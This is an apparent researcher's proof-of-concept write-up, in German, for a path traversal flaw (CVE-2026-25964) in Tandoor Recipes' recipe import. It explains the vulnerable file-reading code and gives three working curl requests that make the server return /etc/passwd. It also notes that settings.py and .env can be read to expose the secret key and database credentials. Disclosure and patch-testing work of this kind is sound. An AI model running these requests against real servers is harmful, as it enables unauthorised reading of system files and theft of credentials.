
Proof-of-Concept-Exploit für CVE-2026-25964, eine authentifizierte lokale Dateioffenlegung in Tandoor Recipes über Path Traversal beim Rezeptimport, die das Lesen beliebiger Dateien ermöglicht.
Proof-of-Concept für authentifizierte lokale Datei-Offenlegung über Rezept-Import
Offenlegung: Ursprünglich von mir gemeldet über GHSA-6485-jr28-52xx
⚠️ Nur für autorisierte Penetrationstests/Forschung.
| Feld | Wert |
|---|
| CVE-ID | CVE-2026-25964 |
| Schweregrad | 🟡 Mittel |
| CVSS-Score | 4.9 |
| CVSS-Vektor | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N] |
| CWE | CWE-22: Path Traversal, CWE-73: Externe Kontrolle des Dateinamens |
| Betroffenes Produkt | Tandoor Recipes ≤ 2.5.0 |
| Gepatchte Version | 2.5.1 |
| Advisory | GHSA-6485-jr28-52xx |
Eine nicht ordnungsgemäß autorisierte Path-Traversal-Schwachstelle (CWE-22) im RecipeImport-Workflow von Tandoor Recipes ermöglicht authentifizierten Benutzern mit Importberechtigungen das Lesen beliebiger Dateien auf dem Server. Diese Schwachstelle resultiert aus fehlender Eingabevalidierung des Parameters file_path und unzureichenden Prüfungen im Local-Speicher-Backend, wodurch ein Angreifer Speicherverzeichnis-Beschränkungen umgehen und auf sensible Systemdateien (z. B. /etc/passwd) oder Anwendungskonfigurationsdateien (z. B. settings.py) zugreifen kann, was möglicherweise zu einer vollständigen Systemkompromittierung führt.
Die Schwachstelle besteht aufgrund fehlender Validierung der benutzergelieferten Eingabe gegen das vorgesehene Speicher-Root-Verzeichnis der Anwendung.
/api/recipe-import/ erlaubt authentifizierten Benutzern die Erstellung eines RecipeImport-Objekts mit einem beliebigen file_path und storage-Backend. Es wird keine Validierung durchgeführt, um sicherzustellen, dass der file_path innerhalb des konfigurierten Speicherverzeichnisses liegt.Local.get_file in cookbook/provider/local.py verarbeitet die Dateiabrufanfrage:
@staticmethod
def get_file(recipe):
# SCHWACHSTELLE: Öffnet direkt den in recipe.file_path angegebenen Pfad
# ohne zu prüfen, ob er sich innerhalb des Speicher-Root-Verzeichnisses befindet.
file = io.BytesIO(open(recipe.file_path, 'rb').read())
return file
/etc/passwd) oder relative Pfade (z. B. ../../app/config.py) geöffnet werden können.Wenn ein RecipeImport-Objekt über die Aktion import_recipe in ein Recipe konvertiert wird, wird der bösartige Pfad dauerhaft gespeichert. Ein anschließender Aufruf von get_recipe_file löst den verwundbaren Lesevorgang aus und gibt den Dateiinhalt an den Benutzer zurück.
Voraussetzungen: Ein authentifiziertes Benutzerkonto mit Berechtigungen zum Importieren von Rezepten. Standardmäßig ist diese Berechtigung möglicherweise eingeschränkt, aber wenn sie Rollen mit niedrigeren Privilegien gewährt wird, steigt die Auswirkung erheblich. Selbst für Administratoren stellt dies eine Verletzung der Sicherheitsgrenze dar, da Anwendungsberechtigungen keinen Lesezugriff auf Dateisystemebene gewähren sollten.
Schritt 1: Ein bösartiges Import-Objekt erstellen
Senden Sie eine POST-Anfrage, um ein RecipeImport-Objekt zu erstellen, das auf die Zieldatei (z. B. /etc/passwd) verweist.
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "Admin_LFD_Final",
"file_path": "/etc/passwd",
"storage": 1,
"space": 1
}'
(Hinweis: storage: 1 entspricht in der Regel dem Standard-Local-Storage. Bei Bedarf anpassen.)

Schritt 2: Import in Rezept konvertieren
Lösen Sie den Importprozess aus, um ein dauerhaftes Recipe-Objekt zu erstellen. Notieren Sie die import_id (z. B. 4) aus Schritt 1.
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/<IMPORT_ID>/import_recipe/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-H "Content-Length: 0"
(Ersetzen Sie <IMPORT_ID> mit der ID aus der Antwort von Schritt 1. Diese Anfrage gibt die neue recipe_id zurück (z. B. 34)

Schritt 3: Die beliebige Datei herunterladen
Greifen Sie über den Rezeptdatei-Endpunkt mit der neuen Rezept-id aus Schritt 2 (z. B. 34) auf die Datei zu.
curl -X GET "http://<TARGET_IP>:8081/api/get_recipe_file/<RECIPE_ID>/" \
-b "sessionid=<SESSION_ID>"
Ergebnis: Der Server gibt den Inhalt von /etc/passwd zurück, was die LFD-Schwachstelle bestätigt.
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

/etc/passwd zu lesen, ermöglicht die Aufzählung von Systembenutzern./opt/recipes/recipes/settings.py (im Test bestätigt) oder .env lesen. Dies legt den SECRET_KEY offen (ermöglicht Session-Fälschung) sowie die Datenbank-Anmeldeinformationen (ermöglicht direkten Datenbankzugriff).